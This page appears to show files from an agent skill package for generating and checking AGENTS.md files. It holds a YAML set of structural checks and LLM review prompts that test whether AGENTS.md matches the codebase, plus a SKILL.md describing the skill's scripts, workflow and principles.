        desc: "CLAUDE.md must exist when Claude Code environment detected (.claude/ directory present)"
        # Was type "conditional" with "check_command:" — neither is read by the
        # runner, so this reported SKIPPED everywhere. The old body was also
        # inverted: `test -d .claude && test -f CLAUDE.md` FAILS when .claude/ is
        # absent, which is exactly when the rule does not apply. An `if` with no
        # else exits 0 in that case, so a repo without .claude/ passes.
        command: |
          if test -d .claude
          then
            test -f CLAUDE.md
          fi
        tags: [claude-code, compatibility]
    
      # === SCOPED AGENTS.MD ===
      - id: AG-28
        type: regex
        target: AGENTS.md
        pattern: "\\|.*\\|"
        severity: info
        desc: "AGENTS.md should use tables for structured data (Structured over Prose principle)"
    
    llm_reviews:
      # === ACCURACY VERIFICATION ===
      - id: AG-25
        domain: repo-health
        prompt: |
          Verify that AGENTS.md accurately describes the actual project:
          1. Check if mentioned files/directories actually exist
          2. Verify mentioned commands work (check package.json scripts, composer.json scripts, Makefile targets)
          3. Confirm the architecture description matches the actual codebase structure
          4. Check for outdated version numbers or deprecated patterns
    
          Report specific inaccuracies with file paths and line numbers.
        severity: error
        desc: "AGENTS.md content must match actual codebase"
    
      - id: AG-21
        domain: repo-health
        prompt: |
          Verify the Commands section is accurate:
          1. Cross-reference with package.json "scripts", composer.json "scripts", or Makefile
          2. Check that documented test commands exist
          3. Verify build/install commands are correct
          4. Look for undocumented important commands
    
          List any commands that are documented but don't exist, or important commands that aren't documented.
        severity: warning
        desc: "Commands section must match actual available commands"
    
      - id: AG-22
        domain: repo-health
        prompt: |
          Check AGENTS.md for staleness indicators:
          1. Are version numbers current? (PHP versions, Node versions, etc.)
          2. Do mentioned dependencies match package.json/composer.json?
          3. Are CI/CD references up to date with actual workflow files?
          4. Is the "Last Updated" date recent (within last 3 months)?
    
          Report any outdated information with specific details.
        severity: warning
        desc: "AGENTS.md should be kept current with codebase changes"
    
      - id: AG-23
        domain: repo-health
        prompt: |
          Evaluate AGENTS.md completeness for AI agent usage:
          1. Does it explain the project purpose clearly?
          2. Does it describe key entry points for understanding the code?
          3. Are there warnings about gotchas or non-obvious behavior?
          4. Does it explain test conventions and how to run tests?
          5. Does it mention important environment variables?
    
          Rate completeness and list missing information that would help an AI agent.
        severity: info
        desc: "AGENTS.md should provide comprehensive context for AI agents"
    
      - id: AG-24
        domain: repo-health
        prompt: |
          Check for drift between AGENTS.md and other documentation:
          1. Compare with README.md - are they consistent?
          2. Check against CONTRIBUTING.md if it exists
          3. Verify consistency with inline code documentation
          4. Look for contradictions between AGENTS.md and actual configs
    
          Report any inconsistencies or contradictions found.
        severity: warning
        desc: "AGENTS.md must be consistent with other documentation"
    
      - id: AG-30
        domain: repo-health
        prompt: |
          Check if git hooks are properly configured and cover key quality gates:
          1. Is a hook framework present (lefthook.yml, captainhook.json, .husky/, .pre-commit-config.yaml)?
          2. Do hooks cover at minimum: linting/formatting and commit message validation?
          3. Are hook configs consistent with CI checks (e.g., same linters run locally and in CI)?
          4. If no hooks exist, flag this as a gap and recommend adding them.
    
          Report which hooks are configured, what they cover, and any gaps.
        severity: warning
        desc: "Repository should have git hooks covering linting, formatting, and commit validation"
    
  • SKILL.md 4.8 KB
    ---
    name: agent-rules
    description: "Use when creating or updating AGENTS.md files, .github/copilot-instructions.md, or other AI agent rule files, onboarding AI agents to a project, standardizing agent documentation, or when anyone mentions AGENTS.md, agent rules, project onboarding, or codebase documentation for AI agents."
    license: "(MIT AND CC-BY-SA-4.0). See LICENSE-MIT and LICENSE-CC-BY-SA-4.0"
    compatibility: "Requires bash 4.3+, jq 1.7+, git 2.0+."
    metadata:
      author: Netresearch DTT GmbH
      version: "3.16.2"
      repository: https://github.com/netresearch/agent-rules-skill
    allowed-tools: Bash(${CLAUDE_SKILL_DIR}/scripts/*) Bash(bash ${CLAUDE_SKILL_DIR}/scripts/*) Bash(git:*) Bash(jq:*) Bash(grep:*) Bash(find:*) Read Glob Grep
    ---
    
    # AGENTS.md Generator Skill
    
    Generate and maintain AGENTS.md files following the [agents.md convention](https://agents.md/). AGENTS.md is FOR AGENTS, not humans.
    
    ## When to Use
    
    - Creating or updating AGENTS.md for new/existing projects
    - **Scaffolding a new repository** — ship AGENTS.md with the initial commits; retrofitting later needs full re-verification
    - Standardizing agent documentation across repositories
    - Checking AGENTS.md freshness after code changes
    - Onboarding AI agents to an unfamiliar codebase
    
    ## Scripts
    
    Call every script by its full path: `bash ${CLAUDE_SKILL_DIR}/scripts/<name> PATH`. Calling one relative to the working directory is not covered by the frontmatter rule and raises a permission prompt per call.
    
    | Script | Purpose |
    |--------|---------|
    | `generate-agents.sh PATH` | Generate AGENTS.md files |
    | `validate-structure.sh PATH` | Validate structure compliance |
    | `check-freshness.sh PATH` | Check if files are outdated |
    | `verify-content.sh PATH` | Verify documented files/commands match codebase |
    | `verify-commands.sh PATH` | Verify documented commands execute |
    | `score-agents.sh PATH` | Grade AGENTS.md quality, worst-first |
    | `detect-project.sh PATH` | Detect language, version, build tools |
    | `detect-scopes.sh PATH` | Identify directories needing scoped files |
    | `extract-commands.sh PATH` | Extract commands from build configs |
    | `extract-ci-rules.sh PATH` | Extract CI quality gates and version matrix |
    | `extract-architecture-rules.sh PATH` | Extract module boundaries |
    | `extract-adrs.sh PATH` | Extract architectural decision records |
    | `extract-github-rulesets.sh PATH` | Extract GitHub rulesets and merge rules |
    
    See `references/scripts-guide.md` for full options.
    
    ## Workflow
    
    1. **Detect**: `detect-project.sh` + `detect-scopes.sh` — stacks and subsystems
    2. **Extract**: `extract-commands.sh`, `extract-ci-rules.sh` — gather facts
    3. **Generate**: `generate-agents.sh --style=thin` (default) or `--verbose`
    4. **Verify**: `verify-content.sh` + `verify-commands.sh` -- MANDATORY before done
    
    `--update` preserves curated content outside `<!-- GENERATED -->` markers.
    
    ## Core Principles
    
    - **Structured over Prose** -- tables parse faster than paragraphs
    - **Never Fabricate** -- only document what exists; verify every command and path
    - **Pointer Principle** -- point to files, don't duplicate content
    - **Auto Symlinks** -- CLAUDE.md/GEMINI.md by default ([`ai-tool-compatibility.md`](references/ai-tool-compatibility.md))
    
    ## References
    
    | File | Contents |
    |------|----------|
    | [`verification-guide.md`](references/verification-guide.md) | Verification steps, anti-bloat, preservation check |
    | [`fleet-sync-sweep.md`](references/fleet-sync-sweep.md) | Fleet-wide AGENTS.md sweeps |
    | [`scripts-guide.md`](references/scripts-guide.md) | Script options, validation checklist |
    | [`quality-rubric.md`](references/quality-rubric.md) | Grading rubric |
    | [`ai-tool-compatibility.md`](references/ai-tool-compatibility.md) | 16-agent compatibility matrix |
    | [`output-structure.md`](references/output-structure.md) | Root/scoped sections |
    | [`git-hooks-setup.md`](references/git-hooks-setup.md) | Hook framework setup |
    | [`examples/`](references/examples/) | Complete examples |
    | [`ai-contribution-guidelines.md`](references/ai-contribution-guidelines.md) | "3 Cs" AI-contribution framework |
    | [`directory-coverage.md`](references/directory-coverage.md) | Scoped-file coverage rationale |
    | [`feedback-memory-schema.md`](references/feedback-memory-schema.md) | Approved-learning file format |
    
    ## Templates
    
    Root: `assets/root-thin.md` (default) or `root-verbose.md`. Scoped: `assets/scoped/`, one per stack (Go/PHP/Python/TYPO3/Symfony/Oro/CLI/TS/skill-repo).
    
    ## Supported Projects
    
    Go, PHP (Composer/Laravel/Symfony/TYPO3/Oro), TypeScript (React/Next/Vue/Node), Python (pip/poetry/ruff/mypy), skill repos, hybrid.
    
    ## See Also
    
    - [`agent-harness-skill`](https://github.com/netresearch/agent-harness-skill) — agent-readiness harness (CI enforcement).
    - [`skill-repo-skill`](https://github.com/netresearch/skill-repo-skill) — skill-repo structure (plugin.json, licensing, releases).
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related